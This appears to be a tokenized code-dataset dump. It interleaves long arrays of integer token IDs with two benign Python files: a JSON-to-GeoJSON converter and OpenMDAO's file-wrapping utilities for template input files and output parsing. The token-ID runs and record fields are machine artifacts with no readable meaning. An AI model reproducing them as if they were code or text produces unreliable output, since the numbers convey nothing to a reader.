29889,
311,
567,
29918,
8223,
29918,
3888,
3366,
2177,
1100,
16862,
4632,
2084,
29892,
376,
4351,
5783,
13,
4706,
411,
8492,
29889,
305,
3972,
29898,
1311,
29889,
4632,
29918,
3972,
1125,
13,
9651,
274,
5675,
353,
315,
9984,
29898,
1311,
29897,
13,
9651,
274,
5675,
29889,
25476,
2187,
3366,
4282,
29918,
294,
29918,
16626,
3108,
353,
1583,
29889,
11027,
29889,
359,
1275,
376,
7685,
29908,
322,
1583,
29889,
6768,
29889,
12366,
13,
9651,
274,
5675,
29889,
25476,
2187,
3366,
11014,
29918,
27736,
3108,
353,
5852,
13,
9651,
274,
5675,
29889,
25476,
2187,
3366,
1509,
29918,
25537,
29918,
22594,
3108,
353,
5852,
13,
9651,
565,
1583,
29889,
11027,
29889,
359,
1275,
376,
7685,
29908,
322,
1583,
29889,
6768,
29889,
12366,
29901,
13,
18884,
274,
5675,
29889,
25476,
2187,
3366,
29907,
1529,
6059,
29918,
25152,
3970,
7811,
29918,
5746,
15082,
29918,
9818,
29918,
14816,
9486,
5607,
29903,
3108,
353,
5852,
13,
9651,
274,
5675,
29889,
17591,
29898,
4993,
29918,
3972,
29922,
359,
29889,
657,
29883,
9970,
3101,
13,
9651,
274,
5675,
29889,
4282,
580,
13,
13,
1678,
822,
3577,
29898,
1311,
1125,
13,
4706,
1583,
29889,
8552,
29898,
11037,
543,
27888,
1430,
1660,
613,
29743,
543,
19602,
4765,
543,
23157,
13,
4706,
1583,
29889,
8552,
29898,
11037,
543,
29930,
613,
29743,
543,
2856,
613,
4765,
29922,
359,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
4632,
29918,
3972,
29892,
376,
29875,
720,
431,
29918,
4645,
613,
376,
3742,
5783,
13,
4706,
1583,
29889,
8552,
29898,
11037,
543,
29930,
613,
29743,
543,
2856,
613,
4765,
29922,
359,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
4632,
29918,
3972,
29892,
376,
29875,
720,
431,
29918,
5509,
29918,
4645,
613,
376,
3742,
5783,
13,
4706,
1583,
29889,
8552,
29898,
11037,
543,
10521,
1982,
613,
29743,
543,
1982,
613,
4765,
543,
1982,
613,
3013,
29918,
2084,
29922,
8824,
29897,
13,
4706,
1583,
29889,
8552,
29898,
11037,
543,
10521,
29874,
613,
29743,
543,
1982,
613,
4765,
543,
1982,
613,
3013,
29918,
2084,
29922,
8824,
29897,
13,
4706,
1583,
29889,
8552,
29898,
11037,
543,
10521,
578,
29930,
613,
29743,
543,
1982,
613,
4765,
543,
19602,
3013,
29918,
2084,
29922,
8824,
29897,
13,
4706,
1583,
29889,
8552,
29898,
11037,
543,
10521,
4518,
1982,
613,
29743,
543,
1982,
613,
4765,
543,
19602,
3013,
29918,
2084,
29922,
8824,
29897,
13,
4706,
1583,
29889,
8552,
29898,
11037,
543,
10521,
12396,
613,
29743,
543,
2109,
613,
4765,
543,
19602,
3013,
29918,
2084,
29922,
8824,
29897,
13,
13,
1678,
822,
3577,
29918,
3888,
29898,
1311,
1125,
13,
4706,
1583,
29889,
8223,
29918,
3888,
29889,
10254,
353,
8492,
29889,
15914,
29918,
10254,
29898,
1311,
29897,
13,
4706,
565,
1583,
29889,
11027,
29889,
359,
1275,
376,
7685,
1115,
13,
9651,
1583,
29889,
8223,
29918,
3888,
29889,
10254,
29889,
4397,
703,
17734,
1124,
1159,
13,
2
] |
json2geojson.py | gjwgit/pyute | 0 | 167206 | <reponame>gjwgit/pyute
#! usr/bin/env python
# Originally loned from
# https://github.com/ACT-COVID-19-TRACKER/privatekit-data-granularity-assessment/blob/master/json-to-geojson.py
from sys import argv
from os.path import exists
import simplejson as json
script, in_file, out_file = argv
data = json.load(open(in_file))
geojson = {
"type": "FeatureCollection",
"features": [
{
"type": "Feature",
"geometry" : {
"type": "Point",
"coordinates": [d["longitude"], d["latitude"]],
},
"properties" : d,
} for d in data]
}
output = open(out_file, 'w')
json.dump(geojson, output)
# print geojson
| [
1,
529,
276,
1112,
420,
29958,
29887,
29926,
29893,
5559,
29914,
2272,
1082,
13,
29937,
29991,
502,
29878,
29914,
2109,
29914,
6272,
3017,
13,
13,
29937,
22118,
635,
301,
22367,
515,
29871,
13,
29937,
2045,
597,
3292,
29889,
510,
29914,
17923,
29899,
3217,
13044,
29899,
29896,
29929,
29899,
5659,
11375,
1001,
29914,
9053,
7354,
29899,
1272,
29899,
629,
273,
1070,
537,
29899,
465,
404,
358,
29914,
10054,
29914,
6207,
29914,
3126,
29899,
517,
29899,
24756,
3126,
29889,
2272,
13,
13,
3166,
10876,
1053,
1852,
29894,
13,
3166,
2897,
29889,
2084,
1053,
4864,
13,
5215,
2560,
3126,
408,
4390,
29871,
13,
13,
2154,
29892,
297,
29918,
1445,
29892,
714,
29918,
1445,
353,
1852,
29894,
13,
13,
1272,
353,
4390,
29889,
1359,
29898,
3150,
29898,
262,
29918,
1445,
876,
13,
13,
24756,
3126,
353,
426,
13,
1678,
376,
1853,
1115,
376,
19132,
7196,
613,
13,
1678,
376,
22100,
1115,
518,
13,
1678,
426,
13,
4706,
376,
1853,
1115,
376,
19132,
613,
13,
4706,
376,
19156,
29908,
584,
426,
13,
9651,
376,
1853,
1115,
376,
5228,
613,
13,
9651,
376,
1111,
24266,
1115,
518,
29881,
3366,
5426,
4279,
12436,
270,
3366,
5066,
4279,
3108,
1402,
13,
9651,
2981,
13,
4706,
376,
11330,
29908,
584,
270,
29892,
13,
268,
500,
363,
270,
297,
848,
29962,
13,
29913,
13,
13,
13,
4905,
353,
1722,
29898,
449,
29918,
1445,
29892,
525,
29893,
1495,
13,
3126,
29889,
15070,
29898,
24756,
3126,
29892,
1962,
29897,
13,
13,
29937,
1596,
1737,
29877,
3126,
13,
2
] |
openmdao/utils/file_wrap.py | friedenhe/OpenMDAO | 451 | 129809 | <filename>openmdao/utils/file_wrap.py
"""
A collection of utilities for file wrapping.
Note: This is a work in progress.
"""
import re
from pyparsing import CaselessLiteral, Combine, OneOrMore, Optional, \
TokenConverter, Word, nums, oneOf, printables, ParserElement, alphanums
import numpy as np
def _getformat(val):
"""
Get the output format for a floating point number.
The general format is used with 16 places of accuracy, except for when
the floating point value is an integer, in which case a decimal point
followed by a single zero is used.
Parameters
----------
val : float or int
the number which needs formatted.
Returns
-------
string
the format string.
"""
if int(val) == val:
return "%.1f"
else:
return "%.16g"
class _SubHelper(object):
"""
Replaces file text at the correct word location in a line.
This class contains the Helper Function that is passed to re.sub.
Attributes
----------
_newtext : str
text to insert.
_replace_location : int
location in the file where replacement is to occur.
_current_location : int
current location in the file.
_counter : int
counter
_start_location : int
initial location where replacement is to occur.
_end_location : int
final location where replacement is to occur.
"""
def __init__(self):
"""
Initialize attributes.
"""
self._newtext = ""
self._replace_location = 0
self._current_location = 0
self._counter = 0
self._start_location = 0
self._end_location = 0
def set(self, newtext, location):
"""
Set a new word location and value for replacement.
Parameters
----------
newtext : str
text to insert.
location : int
location in the file where replacement is to occur.
"""
self._newtext = newtext
self._replace_location = location
self._current_location = 0
def set_array(self, newtext, start_location, end_location):
"""
Set a new starting location, ending location, and value for replacement.
Parameters
----------
newtext : str
text to insert.
start_location : int
location
end_location : int
location
"""
self._newtext = newtext
self._start_location = start_location
self._end_location = end_location
self._current_location = 0
def replace(self, text):
"""
Replace text in file.
This function should be passed to re.sub.
Parameters
----------
text : str
text to insert.
Returns
-------
string
newtext if current location is replace location else the input text.
"""
self._current_location += 1
if self._current_location == self._replace_location:
if isinstance(self._newtext, float):
return _getformat(self._newtext) % self._newtext
else:
return str(self._newtext)
else:
return text.group()
def replace_array(self, text):
"""
Replace array of text values in file.
This function should be passed to re.sub.
Parameters
----------
text : str
text to insert.
Returns
-------
string
newtext if current location is replace location else the input text.
"""
self._current_location += 1
end = len(self._newtext)
if self._current_location >= self._start_location and \
self._current_location <= self._end_location and \
self._counter < end:
if isinstance(self._newtext[self._counter], float):
val = self._newtext[self._counter]
newval = _getformat(val) % val
else:
newval = str(self._newtext[self._counter])
self._counter += 1
return newval
else:
return text.group()
class _ToInteger(TokenConverter):
"""
Converter for PyParsing that is used to turn a token into an int.
"""
def postParse(self, instring, loc, tokenlist):
"""
Convert token into an integer.
Parameters
----------
instring : str
the input string
loc : int
the location of the matching string
tokenlist : list
list of matched tokens
Returns
-------
int
integer value for token.
"""
return int(tokenlist[0])
class _ToFloat(TokenConverter):
"""
Converter for PyParsing that is used to turn a token into a float.
"""
def postParse(self, instring, loc, tokenlist):
"""
Convert token into a float.
Parameters
----------
instring : str
the input string
loc : int
the location of the matching string
tokenlist : list
list of matched tokens
Returns
-------
float
float value for token.
"""
return float(tokenlist[0].replace('D', 'E'))
class _ToNan(TokenConverter):
"""
Converter for PyParsing that is used to turn a token into Python nan.
"""
def postParse(self, instring, loc, tokenlist):
"""
Convert token into Python nan.
Parameters
----------
instring : str
the input string
loc : int
the location of the matching string
tokenlist : list
list of matched tokens
Returns
-------
float
the float value for NaN.
"""
return float('nan')
class _ToInf(TokenConverter):
"""
Converter for PyParsing that is used to turn a token into Python inf.
"""
def postParse(self, instring, loc, tokenlist):
"""
Convert token into Python inf.
Parameters
----------
instring : str
the input string
loc : int
the location of the matching string
tokenlist : list
list of matched tokens
Returns
-------
float
the float value for infinity.
"""
return float('inf')
class InputFileGenerator(object):
"""
Utility to generate an input file from a template.
Substitution of values is supported. Data is located with a simple API.
Attributes
----------
_template_filename : str or None
the name of the template file.
_output_filename : str or None
the name of the output file.
_delimiter : int
delimiter.
_reg : int
regular expression.
_data : list of string
the contents of the file, by line
_current_row : int
the current row of the file
_anchored : bool
indicator that position is relative to a landmark location.
"""
def __init__(self):
"""
Initialize attributes.
"""
self._template_filename = None
self._output_filename = None
self._delimiter = " "
self._reg = re.compile('[^ \n]+')
self._data = []
self._current_row = 0
self._anchored = False
def set_template_file(self, filename):
"""
Set the name of the template file to be used.
The template file is also read into memory when this method is called.
Parameters
----------
filename : str
Name of the template file to be used.
"""
self._template_filename = filename
templatefile = open(filename, 'r')
self._data = templatefile.readlines()
templatefile.close()
def set_generated_file(self, filename):
"""
Set the name of the file that will be generated.
Parameters
----------
filename : str
Name of the input file to be generated.
"""
self._output_filename = filename
def set_delimiters(self, delimiter):
"""
Set the delimiters that are used to identify field boundaries.
Parameters
----------
delimiter : str
A string containing characters to be used as delimiters.
"""
self._delimiter = delimiter
self._reg = re.compile('[^' + delimiter + '\n]+')
def mark_anchor(self, anchor, occurrence=1):
"""
Mark the location of a landmark.
This lets you describe data by relative position. Note that a forward
search begins at the old anchor location. If you want to restart the
search for the anchor at the file beginning, then call ``reset_anchor()``
before ``mark_anchor``.
Parameters
----------
anchor : str
The text you want to search for.
occurrence : int, optional
Find nth instance of text; default is 1 (first). Use -1 to
find last occurrence. Reverse searches always start at the end
of the file no matter the state of any previous anchor.
"""
if not isinstance(occurrence, int):
raise ValueError("The value for occurrence must be an integer")
instance = 0
if occurrence > 0:
count = 0
max_lines = len(self._data)
for index in range(self._current_row, max_lines):
line = self._data[index]
# If we are marking a new anchor from an existing anchor, and
# the anchor is mid-line, then we still search the line, but
# only after the anchor.
if count == 0 and self._anchored:
line = line.split(anchor)[-1]
if line.find(anchor) > -1:
instance += 1
if instance == occurrence:
self._current_row += count
self._anchored = True
return
count += 1
elif occurrence < 0:
max_lines = len(self._data) - 1
count = max_lines
for index in range(max_lines, -1, -1):
line = self._data[index]
# If we are marking a new anchor from an existing anchor, and
# the anchor is mid-line, then we still search the line, but
# only before the anchor.
if count == max_lines and self._anchored:
line = line.split(anchor)[0]
if line.find(anchor) > -1:
instance += -1
if instance == occurrence:
self._current_row = count
self._anchored = True
return
count -= 1
else:
raise ValueError("0 is not valid for an anchor occurrence.")
raise RuntimeError("Could not find pattern %s in template file %s" %
(anchor, self._template_filename))
def reset_anchor(self):
"""
Reset anchor to the beginning of the file.
"""
self._current_row = 0
self._anchored = False
def transfer_var(self, value, row, field):
"""
Change a single variable in the template relative to the current anchor.
Parameters
----------
value : float, int, bool, str
New value to set at the location.
row : int
Number of lines offset from anchor line (0 is anchor line).
This can be negative.
field : int
Which word in line to replace, as denoted by delimiter(s).
"""
j = self._current_row + row
line = self._data[j]
sub = _SubHelper()
sub.set(value, field)
newline = re.sub(self._reg, sub.replace, line)
self._data[j] = newline
def transfer_array(self, value, row_start, field_start, field_end,
row_end=None, sep=", "):
"""
Change the values of an array in the template relative to the current anchor.
This should generally be used for one-dimensional or free form arrays.
Parameters
----------
value : float, int, bool, str
Array of values to insert.
row_start : int
Starting row for inserting the array. This is relative
to the anchor, and can be negative.
field_start : int
Starting field in the given row_start as denoted by
delimiter(s).
field_end : int
The final field the array uses in row_end.
We need this to figure out if the template is too small or large.
row_end : int, optional
Use if the array wraps to cover additional lines.
sep : int, optional
Separator to use if we go beyond the template.
"""
# Simplified input for single-line arrays
if row_end is None:
row_end = row_start
sub = _SubHelper()
for row in range(row_start, row_end + 1):
j = self._current_row + row
line = self._data[j]
if row == row_end:
f_end = field_end
else:
f_end = 99999
sub.set_array(value, field_start, f_end)
field_start = 0
newline = re.sub(self._reg, sub.replace_array, line)
self._data[j] = newline
# Sometimes an array is too large for the example in the template
# This is resolved by adding more fields at the end
if sub._counter < len(value):
for val in value[sub._counter:]:
newline = newline.rstrip() + sep + str(val)
self._data[j] = newline
# Sometimes an array is too small for the template
# This is resolved by removing fields
elif sub._counter > len(value):
# TODO - Figure out how to handle this.
# Ideally, we'd remove the extra field placeholders
raise ValueError("Array is too small for the template.")
def transfer_2Darray(self, value, row_start, row_end, field_start, field_end):
"""
Change the values of a 2D array in the template relative to the current anchor.
This method is specialized for 2D arrays, where each row of the array is
on its own line.
Parameters
----------
value : ndarray
Array of values to insert.
row_start : int
Starting row for inserting the array. This is relative
to the anchor, and can be negative.
row_end : int
Final row for the array, relative to the anchor.
field_start : int
Starting field in the given row_start as denoted by
delimiter(s).
field_end : int
The final field the array uses in row_end.
We need this to figure out if the template is too small or large.
"""
sub = _SubHelper()
i = 0
for row in range(row_start, row_end + 1):
j = self._current_row + row
line = self._data[j]
sub.set_array(value[i, :], field_start, field_end)
newline = re.sub(self._reg, sub.replace_array, line)
self._data[j] = newline
sub._current_location = 0
sub._counter = 0
i += 1
# TODO - Note, we currently can't handle going beyond the end of
# the template line
def clearline(self, row):
"""
Replace the contents of a row with the newline character.
Parameters
----------
row : int
Row number to clear, relative to current anchor.
"""
self._data[self._current_row + row] = "\n"
def generate(self, return_data=False):
"""
Use the template file to generate the input file.
Parameters
----------
return_data : bool
If True, generated file data will be returned as a string.
Returns
-------
string
The generated file data if return_data is True or output filename
has not been provided, else None.
"""
if self._output_filename:
with open(self._output_filename, 'w') as f:
f.writelines(self._data)
else:
return_data = True
if return_data:
return '\n'.join(self._data)
else:
return None
class FileParser(object):
"""
Utility to locate and read data from a file.
Parameters
----------
end_of_line_comment_char : str, optional
End-of-line comment character to be ignored
(e.g., Python supports in-line comments with "#").
full_line_comment_char : str, optional
Comment character that signifies a line should be skipped.
Attributes
----------
_filename : str
the name of the file.
_data : list of string
the contents of the file, by line
_delimiter : str
the name of the file.
_end_of_line_comment_char : str
end-of-line comment character to be ignored.
_full_line_comment_char : str
comment character that signifies a line should be skipped.
_current_row : int
the current row of the file.
_anchored : bool
indicator that position is relative to a landmark location.
"""
def __init__(self, end_of_line_comment_char=None, full_line_comment_char=None):
"""
Initialize attributes.
"""
self._filename = None
self._data = []
self._delimiter = " \t"
self._end_of_line_comment_char = end_of_line_comment_char
self._full_line_comment_char = full_line_comment_char
self._current_row = 0
self._anchored = False
self.set_delimiters(self._delimiter)
def set_file(self, filename):
"""
Set the name of the file that will be generated.
Parameters
----------
filename : str
Name of the input file to be generated.
"""
self._filename = filename
inputfile = open(filename, 'r')
if not self._end_of_line_comment_char and not self._full_line_comment_char:
self._data = inputfile.readlines()
else:
self._data = []
for line in inputfile:
if line[0] == self._full_line_comment_char:
continue
self._data.append(line.split(self._end_of_line_comment_char)[0])
inputfile.close()
def set_delimiters(self, delimiter):
r"""
Set the delimiters that are used to identify field boundaries.
Parameters
----------
delimiter : str
A string containing characters to be used as delimiters. The
default value is ' \t', which means that spaces and tabs are not
taken as data but instead mark the boundaries. Note that the
parser is smart enough to recognize characters within quotes as
non-delimiters.
"""
self._delimiter = delimiter
if delimiter != "columns":
ParserElement.setDefaultWhitespaceChars(str(delimiter))
self._reset_tokens()
def mark_anchor(self, anchor, occurrence=1):
"""
Mark the location of a landmark, which lets you describe data by relative position.
Note that a forward search begins at the old anchor location. If you want to restart
the search for the anchor at the file beginning, then call ``reset_anchor()`` before
``mark_anchor``.
Parameters
----------
anchor : str
The text you want to search for.
occurrence : int
Find nth instance of text; default is 1 (first). Use -1 to
find last occurrence. Reverse searches always start at the end
of the file no matter the state of any previous anchor.
"""
if not isinstance(occurrence, int):
raise ValueError("The value for occurrence must be an integer")
instance = 0
if occurrence > 0:
count = 0
max_lines = len(self._data)
for index in range(self._current_row, max_lines):
line = self._data[index]
# If we are marking a new anchor from an existing anchor, and
# the anchor is mid-line, then we still search the line, but
# only after the anchor.
if count == 0 and self._anchored:
line = line.split(anchor)[-1]
if anchor in line:
instance += 1
if instance == occurrence:
self._current_row += count
self._anchored = True
return
count += 1
elif occurrence < 0:
max_lines = len(self._data) - 1
count = max_lines
for index in range(max_lines, -1, -1):
line = self._data[index]
# If we are marking a new anchor from an existing anchor, and
# the anchor is mid-line, then we still search the line, but
# only before the anchor.
if count == max_lines and self._anchored:
line = line.split(anchor)[0]
if anchor in line:
instance += -1
if instance == occurrence:
self._current_row = count
self._anchored = True
return
count -= 1
else:
raise ValueError("0 is not valid for an anchor occurrence.")
raise RuntimeError("Could not find pattern %s in output file %s" %
(anchor, self._filename))
def reset_anchor(self):
"""
Reset anchor to the beginning of the file.
"""
self._current_row = 0
self._anchored = False
def transfer_line(self, row):
"""
Return an entire line, relative to current anchor.
Parameters
----------
row : int
Number of lines offset from anchor line (0 is anchor line).
This can be negative.
Returns
-------
string
Line at the location requested.
"""
return self._data[self._current_row + row].rstrip()
def transfer_var(self, row, field, fieldend=None):
"""
Get a single variable relative to the current anchor.
Parameters
----------
row : int
Number of lines offset from anchor line (0 is anchor line).
This can be negative.
field : int
If the delimiter is a set of chars: which word in line to retrieve.
If the delimiter is 'columns': character position to start.
fieldend : int (optional)
If the delimiter is a set of chars: IGNORED.
If the delimiter is 'columns': position of last character to return, or if
omitted, the end of the line is used.
Returns
-------
string
Data from the requested location in the file.
"""
j = self._current_row + row
line = self._data[j]
if self._delimiter == "columns":
if not fieldend:
line = line[(field - 1):]
else:
line = line[(field - 1):(fieldend)]
# Let pyparsing figure out if this is a number, and return it
# as a float or int as appropriate
data = self._parse_line().parseString(line)
# data might have been split if it contains whitespace. If so,
# just return the whole string
if len(data) > 1:
return line
else:
return data[0]
else:
data = self._parse_line().parseString(line)
return data[field - 1]
def transfer_keyvar(self, key, field, occurrence=1, rowoffset=0):
"""
Search for a key relative to the current anchor and get a field from that line.
You can do the same thing with a call to ``mark_anchor`` and ``transfer_var``.
This function just combines them for convenience.
Parameters
----------
key : str
The key to search for.
field : int
Which field to transfer. Field 0 is the key.
occurrence : int
Find nth instance of text; default is 1 (first value
field). Use -1 to find last occurance. Position 0 is the key
field, so it should not be used as a value for occurrence.
rowoffset : int (optional)
Optional row offset from the occurrence of key. This can
also be negative.
Returns
-------
string
Data from the requested location in the file.
"""
if not isinstance(occurrence, int) or occurrence == 0:
msg = "The value for occurrence must be a nonzero integer"
raise ValueError(msg)
instance = 0
if occurrence > 0:
row = 0
for line in self._data[self._current_row:]:
if line.find(key) > -1:
instance += 1
if instance == occurrence:
break
row += 1
elif occurrence < 0:
row = -1
for line in reversed(self._data[self._current_row:]):
if line.find(key) > -1:
instance += -1
if instance == occurrence:
break
row -= 1
j = self._current_row + row + rowoffset
line = self._data[j]
fields = self._parse_line().parseString(line.replace(key, "KeyField"))
return fields[field]
def transfer_array(self, rowstart, fieldstart, rowend=None, fieldend=None):
"""
Get an array of variables relative to the current anchor.
Setting the delimiter to 'columns' elicits some special behavior
from this method. Normally, the extraction process wraps around
at the end of a line and continues grabbing each field at the start of
a newline. When the delimiter is set to columns, the parameters
(rowstart, fieldstart, rowend, fieldend) demark a box, and all
values in that box are retrieved. Note that standard whitespace
is the secondary delimiter in this case.
Parameters
----------
rowstart : int
Row number to start, relative to the current anchor.
fieldstart : int
Field number to start.
rowend : int, optional
Row number to end. If not set, then only one row is grabbed.
fieldend : int
Field number to end.
Returns
-------
string
Data from the requested location in the file.
"""
j1 = self._current_row + rowstart
if rowend is None:
j2 = j1 + 1
else:
j2 = self._current_row + rowend + 1
if not fieldend:
raise ValueError("fieldend is missing, currently required")
lines = self._data[j1:j2]
data = np.zeros(shape=(0, 0))
for i, line in enumerate(lines):
if self._delimiter == "columns":
line = line[(fieldstart - 1):fieldend]
# Stripping whitespace may be controversial.
line = line.strip()
# Let pyparsing figure out if this is a number, and return it
# as a float or int as appropriate
parsed = self._parse_line().parseString(line)
newdata = np.array(parsed[:])
# data might have been split if it contains whitespace. If the
# data is string, we probably didn't want this.
if newdata.dtype.type is np.str_:
newdata = np.array(line)
data = np.append(data, newdata)
else:
parsed = self._parse_line().parseString(line)
if i == j2 - j1 - 1:
data = np.append(data, np.array(parsed[(fieldstart - 1):fieldend]))
else:
data = np.append(data, np.array(parsed[(fieldstart - 1):]))
fieldstart = 1
return data
def transfer_2Darray(self, rowstart, fieldstart, rowend, fieldend=None):
"""
Get a 2D array of variables relative to the current anchor.
Each line of data is placed in a separate row.
If the delimiter is set to 'columns', then the values contained in
fieldstart and fieldend should be the column number instead of the
field number.
Parameters
----------
rowstart : int
Row number to start, relative to the current anchor.
fieldstart : int
Field number to start.
rowend : int
Row number to end relative to current anchor.
fieldend : int (optional)
Field number to end. If not specified, grabs all fields up to the
end of the line.
Returns
-------
string
Data from the requested location in the file.
"""
if fieldend and (fieldstart > fieldend):
msg = "fieldend must be greater than fieldstart"
raise ValueError(msg)
if rowstart > rowend:
msg = "rowend must be greater than rowstart"
raise ValueError(msg)
j1 = self._current_row + rowstart
j2 = self._current_row + rowend + 1
lines = list(self._data[j1:j2])
if self._delimiter == "columns":
if fieldend:
line = lines[0][(fieldstart - 1):fieldend]
else:
line = lines[0][(fieldstart - 1):]
parsed = self._parse_line().parseString(line)
row = np.array(parsed[:])
data = np.zeros(shape=(abs(j2 - j1), len(row)))
data[0, :] = row
for i, line in enumerate(list(lines[1:])):
if fieldend:
line = line[(fieldstart - 1):fieldend]
else:
line = line[(fieldstart - 1):]
parsed = self._parse_line().parseString(line)
data[i + 1, :] = np.array(parsed[:])
else:
parsed = self._parse_line().parseString(lines[0])
if fieldend:
row = np.array(parsed[(fieldstart - 1):fieldend])
else:
row = np.array(parsed[(fieldstart - 1):])
data = np.zeros(shape=(abs(j2 - j1), len(row)))
data[0, :] = row
for i, line in enumerate(list(lines[1:])):
parsed = self._parse_line().parseString(line)
if fieldend:
try:
data[i + 1, :] = np.array(parsed[(fieldstart - 1):fieldend])
except Exception:
print(data)
else:
data[i + 1, :] = np.array(parsed[(fieldstart - 1):])
return data
def _parse_line(self):
"""
Parse a single data line that may contain string or numerical data.
Float and Int 'words' are converted to their appropriate type.
Exponentiation is supported, as are NaN and Inf.
Returns
-------
<ParserElement>
the parsed line.
"""
return self.line_parse_token
def _reset_tokens(self):
"""
Set up the tokens for pyparsing.
"""
# Somewhat of a hack, but we can only use printables if the delimiter is
# just whitespace. Otherwise, some seprators (like ',' or '=') potentially
# get parsed into the general string text. So, if we have non whitespace
# delimiters, we need to fall back to just alphanums, and then add in any
# missing but important symbols to parse.
if self._delimiter.isspace():
textchars = printables
else:
textchars = alphanums
symbols = ['.', '/', '+', '*', '^', '(', ')', '[', ']', '=',
':', ';', '?', '%', '&', '!', '#', '|', '<', '>',
'{', '}', '-', '_', '@', '$', '~']
for symbol in symbols:
if symbol not in self._delimiter:
textchars = textchars + symbol
digits = Word(nums)
dot = "."
sign = oneOf("+ -")
ee = CaselessLiteral('E') | CaselessLiteral('D')
num_int = _ToInteger(Combine(Optional(sign) + digits))
num_float = _ToFloat(Combine(
Optional(sign) +
((digits + dot + Optional(digits)) | (dot + digits)) +
Optional(ee + Optional(sign) + digits)
))
# special case for a float written like "3e5"
mixed_exp = _ToFloat(Combine(digits + ee + Optional(sign) + digits))
nan = (_ToInf(oneOf("Inf -Inf")) |
_ToNan(oneOf("NaN nan NaN% NaNQ NaNS qNaN sNaN 1.#SNAN 1.#QNAN -1.#IND")))
string_text = Word(textchars)
self.line_parse_token = (OneOrMore((nan | num_float | mixed_exp | num_int | string_text)))
| [
1,
529,
9507,
29958,
3150,
29885,
1388,
29877,
29914,
13239,
29914,
1445,
29918,
6312,
29889,
2272,
13,
15945,
29908,
13,
29909,
4333,
310,
3667,
1907,
363,
934,
28489,
29889,
13,
13,
9842,
29901,
910,
338,
263,
664,
297,
6728,
29889,
13,
15945,
29908,
13,
13,
13,
5215,
337,
13,
13,
3166,
11451,
862,
2976,
1053,
6960,
6393,
24938,
284,
29892,
422,
26062,
29892,
3118,
2816,
20761,
29892,
28379,
29892,
320,
13,
1678,
25159,
18545,
29892,
10803,
29892,
954,
29879,
29892,
697,
2776,
29892,
1596,
1849,
29892,
1459,
643,
2642,
29892,
394,
16711,
6762,
13,
13,
5215,
12655,
408,
7442,
13,
13,
13,
1753,
903,
657,
4830,
29898,
791,
1125,
13,
1678,
9995,
13,
1678,
3617,
278,
1962,
3402,
363,
263,
16526,
1298,
1353,
29889,
13,
13,
1678,
450,
2498,
3402,
338,
1304,
411,
29871,
29896,
29953,
7600,
310,
13600,
29892,
5174,
363,
746,
13,
1678,
278,
16526,
1298,
995,
338,
385,
6043,
29892,
297,
607,
1206,
263,
13677,
1298,
13,
1678,
5643,
491,
263,
2323,
5225,
338,
1304,
29889,
13,
13,
1678,
12662,
2699,
13,
1678,
448,
1378,
29899,
13,
1678,
659,
584,
5785,
470,
938,
13,
4706,
278,
1353,
607,
4225,
20917,
29889,
13,
13,
1678,
16969,
13,
1678,
448,
22158,
13,
1678,
1347,
13,
4706,
278,
3402,
1347,
29889,
13,
1678,
9995,
13,
1678,
565,
938,
29898,
791,
29897,
1275,
659,
29901,
13,
4706,
736,
11860,
29889,
29896,
29888,
29908,
13,
1678,
1683,
29901,
13,
4706,
736,
11860,
29889,
29896,
29953,
29887,
29908,
13,
13,
13,
1990,
903,
4035,
10739,
29898,
3318,
1125,
13,
1678,
9995,
13,
1678,
10088,
6048,
934,
1426,
472,
278,
1959,
1734,
4423,
297,
263,
1196,
29889,
13,
13,
1678,
910,
770,
3743,
278,
6162,
546,
6680,
393,
338,
4502,
304,
337,
29889,
1491,
29889,
13,
13,
1678,
6212,
5026,
13,
1678,
448,
1378,
29899,
13,
1678,
903,
1482,
726,
584,
851,
13,
4706,
1426,
304,
4635,
29889,
13,
1678,
903,
6506,
29918,
5479,
584,
938,
13,
4706,
4423,
297,
278,
934,
988,
16920,
338,
304,
6403,
29889,
13,
1678,
903,
3784,
29918,
5479,
584,
938,
13,
4706,
1857,
4423,
297,
278,
934,
29889,
13,
1678,
903,
11808,
584,
938,
13,
4706,
6795,
13,
1678,
903,
2962,
29918,
5479,
584,
938,
13,
4706,
2847,
4423,
988,
16920,
338,
304,
6403,
29889,
13,
1678,
903,
355,
29918,
5479,
584,
938,
13,
4706,
2186,
4423,
988,
16920,
338,
304,
6403,
29889,
13,
1678,
9995,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
1125,
13,
4706,
9995,
13,
4706,
25455,
8393,
29889,
13,
4706,
9995,
13,
4706,
1583,
3032,
1482,
726,
353,
5124,
13,
4706,
1583,
3032,
6506,
29918,
5479,
353,
29871,
29900,
13,
4706,
1583,
3032,
3784,
29918,
5479,
353,
29871,
29900,
13,
4706,
1583,
3032,
11808,
353,
29871,
29900,
13,
4706,
1583,
3032,
2962,
29918,
5479,
353,
29871,
29900,
13,
4706,
1583,
3032,
355,
29918,
5479,
353,
29871,
29900,
13,
13,
1678,
822,
731,
29898,
1311,
29892,
716,
726,
29892,
4423,
1125,
13,
4706,
9995,
13,
4706,
3789,
263,
716,
1734,
4423,
322,
995,
363,
16920,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
716,
726,
584,
851,
13,
9651,
1426,
304,
4635,
29889,
13,
4706,
4423,
584,
938,
13,
9651,
4423,
297,
278,
934,
988,
16920,
338,
304,
6403,
29889,
13,
4706,
9995,
13,
4706,
1583,
3032,
1482,
726,
353,
716,
726,
13,
4706,
1583,
3032,
6506,
29918,
5479,
353,
4423,
13,
4706,
1583,
3032,
3784,
29918,
5479,
353,
29871,
29900,
13,
13,
1678,
822,
731,
29918,
2378,
29898,
1311,
29892,
716,
726,
29892,
1369,
29918,
5479,
29892,
1095,
29918,
5479,
1125,
13,
4706,
9995,
13,
4706,
3789,
263,
716,
6257,
4423,
29892,
17140,
4423,
29892,
322,
995,
363,
16920,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
716,
726,
584,
851,
13,
9651,
1426,
304,
4635,
29889,
13,
4706,
1369,
29918,
5479,
584,
938,
13,
9651,
4423,
13,
4706,
1095,
29918,
5479,
584,
938,
13,
9651,
4423,
13,
4706,
9995,
13,
4706,
1583,
3032,
1482,
726,
353,
716,
726,
13,
4706,
1583,
3032,
2962,
29918,
5479,
353,
1369,
29918,
5479,
13,
4706,
1583,
3032,
355,
29918,
5479,
353,
1095,
29918,
5479,
13,
4706,
1583,
3032,
3784,
29918,
5479,
353,
29871,
29900,
13,
13,
1678,
822,
5191,
29898,
1311,
29892,
1426,
1125,
13,
4706,
9995,
13,
